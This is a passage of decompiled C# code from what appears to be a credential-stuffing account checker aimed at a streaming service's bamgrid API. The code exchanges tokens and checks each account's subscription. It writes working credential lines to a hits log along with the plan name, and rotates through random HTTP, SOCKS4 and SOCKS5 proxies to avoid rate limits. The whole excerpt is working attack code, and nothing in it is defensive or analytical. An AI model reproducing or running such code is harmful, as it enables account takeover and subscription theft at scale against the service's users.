                        text2  = httpRequest.Post("https://global.edge.bamgrid.com/token", "grant_type=urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3Atoken-exchange&latitude=0&longitude=0&platform=browser&subject_token=" + value + "&subject_token_type=urn%3Abamtech%3Aparams%3Aoauth%3Atoken-type%3Aaccount", "application/x-www-form-urlencoded").ToString();
                        value2 = Regex.Match(text2, "access_token\":\"(.+?)\"").Groups[1].Value;
                        httpRequest.AddHeader("authorization", "Bearer " + value2);
                        text2 = httpRequest.Get("https://global.edge.bamgrid.com/subscriptions", null).ToString();
                        if (text2.Contains("name"))
                        {
                            string value4 = Regex.Match(text2, "name\":\"(.+?)\"").Groups[1].Value;
                            this.method_1(text + " | " + value4);
                            Colorful.Console.WriteLine(text + " | " + value4, class3.color_0);
                            this.int_0++;
                            class3.int_0++;
                            break;
                        }
                        this.int_3++;
                        class3.int_0++;
                        break;
                    }
                    catch
                    {
                        this.int_2++;
                        httpRequest.Proxy = null;
                        continue;
                    }
IL_389:
                    if (this.string_0 == "1")
                    {
                        httpRequest.Proxy = HttpProxyClient.Parse(this.list_0[this.random_0.Next(this.list_0.Count)]);
                        goto IL_2B;
                    }
                    if (this.string_0 == "2")
                    {
                        httpRequest.Proxy = Socks4ProxyClient.Parse(this.list_0[this.random_0.Next(this.list_0.Count)]);
                        goto IL_2B;
                    }
                    httpRequest.Proxy = Socks5ProxyClient.Parse(this.list_0[this.random_0.Next(this.list_0.Count)]);
                    goto IL_2B;
                }
            }
            Colorful.Console.ReadKey();
        }